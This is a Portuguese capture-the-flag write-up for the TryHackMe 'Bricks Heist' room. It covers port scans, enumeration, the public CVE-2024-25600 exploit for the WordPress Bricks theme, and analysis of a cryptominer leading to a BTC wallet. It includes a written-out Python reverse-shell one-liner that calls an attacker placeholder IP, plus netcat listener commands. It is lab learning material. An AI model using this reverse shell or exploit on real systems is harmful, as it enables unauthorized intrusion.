TryHack3M - Bricks Heist
Reconhecimento
Realizado varredura de portas
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
──(root㉿estudos)-[/home/alex]
└─# nmap -Pn -sS --open -v 10.10.167.163
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-27 17:25 -03
Initiating Parallel DNS resolution of 1 host. at 17:25
Completed Parallel DNS resolution of 1 host. at 17:25, 0.24s elapsed
Initiating SYN Stealth Scan at 17:25
Scanning 10.10.167.163 [1000 ports]
Discovered open port 80/tcp on 10.10.167.163
Discovered open port 443/tcp on 10.10.167.163
Discovered open port 3306/tcp on 10.10.167.163
Discovered open port 22/tcp on 10.10.167.163
Completed SYN Stealth Scan at 17:25, 2.99s elapsed (1000 total ports)
Nmap scan report for 10.10.167.163
Host is up (0.32s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
3306/tcp open mysql
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 3.50 seconds
Raw packets sent: 1011 (44.484KB) | Rcvd: 1003 (40.136KB)
┌──(root㉿estudos)-[/home/alex]
└─# nmap -Pn -sV -p 22,80,443,3306 10.10.167.163
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-27 17:25 -03
Nmap scan report for 10.10.167.163
Host is up (0.31s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp open http Python http.server 3.5 - 3.10
443/tcp open ssl/http Apache httpd
3306/tcp open mysql MySQL (unauthorized)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.53 seconds
Acessando a aplicação na porta 80, recebemos uma tela de erro, que o método GET
não é permitido.
Recebemos outro erro: Error code: 501
.
Quando tentamos com outros métodos: PUT
, POST
e OPTIONS
.
1
2
3
curl -X POST http://bricks.thm -d ""
curl -X OPTIONS http://bricks.thm
curl -X PUT http://bricks.thm
O endpoint que estamos tentando acessar não suporta, aparentemente, nenhum método. Verificando aplicação da porta 443, temos um resultado melhor.
Enumeração
Analisando o código fonte da página inicial obtemos informações valiosas. Bricks se trata de um tema do Wordpress, identificamos a versão de Wordpress sendo utilizada e também o endereço do endpoint da API.
Também descobrimos a versão do tema, que está sendo utilizada através da URL abaixo.
1
https://bricks.thm/wp-content/themes/bricks/style.css
Pelo endpoint e o arquivo robots.txt
descobrimos a tela de login administrativo.
Com a ferramenta gobuster
encontramos phpAdmin
, comando:
1
gobuster dir -k -r -e -u https://bricks.thm -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
Exploração
Com a informação da versão do tema, que está sendo utilizado, encontramos na web um exploit público, que explora um plugin do Bricks
que não realiza as devidas verificações dos inputs do usuário. A versão do exploit abrange até a versão1.9.6
do tema.
Link do exploit:https://github.com/K3ysTr0K3R/CVE-2024-25600-EXPLOIT
CVE: 2024-25600
Antes de clonarmos o repositório, para nossa máquina local, realizamos a leitura do exploit (boa prática!). Executando o exploit obtemos nossa shell e obtemos nossa primeira flag!
Pós exploração
Agora vamos obter outra shell, assim podemos realizar um upgrade para uma shell full tty. Shell reversam em python:
1
/usr/bin/python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("MY IP",PORTA));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
Após obter a shell, deixamos ela full tty.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(alex㉿kali)-[~]
└─$ nc -vlnp 4444
listening on [any] 4444 ...
connect to [10.2.13.47] from (UNKNOWN) [10.10.223.140] 33576
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
apache@tryhackme:/data/www/default$ export TERM=xterm
export TERM=xterm
apache@tryhackme:/data/www/default$ ^Z
zsh: suspended nc -vlnp 4444
┌──(alex㉿kali)-[~]
└─$ stty raw -echo; fg
[1] + continued nc -vlnp 4444
stty rows 38 columns 116
apache@tryhackme:/data/www/default$
Analisando processos
Com o comando top
analisamos os processos que estão sendo executados no momento.
Não identificamos nenhum processo suspeito, com o comando ps -elf
listamos todos os processos, a lista é extensa e não apresenta nenhum processo que seja suspeito. Vamos tentar outro comando: systemctl | grep running
.
Temos um processo com nome suspeito, TRYHACK3M
, com systemctl status ubuntu.service
, temos mais detalhe sobre o processo.
Temos as respostas da nossa segunda e terceira pergunta. Analisando o diretório /var/log
não foi encontrado nenhum arquivo referente a esse minerador. Com o comando lsof -p 2567
foi listado os arquivos que foram abertos por esse processo, nenhum dos arquivos parecia com um arquivo de log. Foi então que analisando o diretório, onde o processo suspeito era executado, foi encontrado o arquivo de log.
Com o comando head
listamos apenas o início do arquivo, assim ficando fácil identificar, que se tratava de um arquivo de log.
Outra forma de descobrir, seria realizando a transferência do binário, para a máquina local, e depois analisando-o no Virustotal, em behavior
é possível ver os arquivos que foram abertos.
Dentro do arquivo de log temos um campo com ID
, seguido de uma string, que aparentemente parece ser em hexadecimal, no cyberchef realizamos o decode de hexadecimal para base 64, e depois realizamos novamente para base 64.
Com isso chegamos em uma string, que inicia com bc1
, carteiras de BTC que iniciam com bc1
são conhecidas como endereços bech32 ou endereços SegWit nativos. A resposta ainda não está correta, analisando o endereço da carteira vemos que está duplicada, e ultrapassa a quantidade máxima de caracteres de uma carteira de BTC, dividimos a strings em dois, o delimitador é o bc1
.
Temos nossa resposta, da penúltima questão.
Pesquisando Wallet
Para responder a última pergunta precisaremos da ajuda de um Blockchain explorer
, assim verificamos cada transação feita envolvendo essa carteira.
Estamos com sorte! O primeiro endereço pesquisado já nos da informação que precisamos, o nome do grupo, e com isso concluímos todas as perguntas.
Conclusão
O CTF exige que o atacante tenha um conhecimento mínimo de técnicas de enumeração. Após isso, é necessário ter conhecimento prévio de sistemas Linux para a realização da análise de processos. O conhecimento de análise de binários não é necessário, mas pode auxiliar em uma análise mais aprofundada. Por último, é necessário ter noções sobre conversão de bases e o padrão de criação de carteiras de BTC, além de saber como pesquisá-las.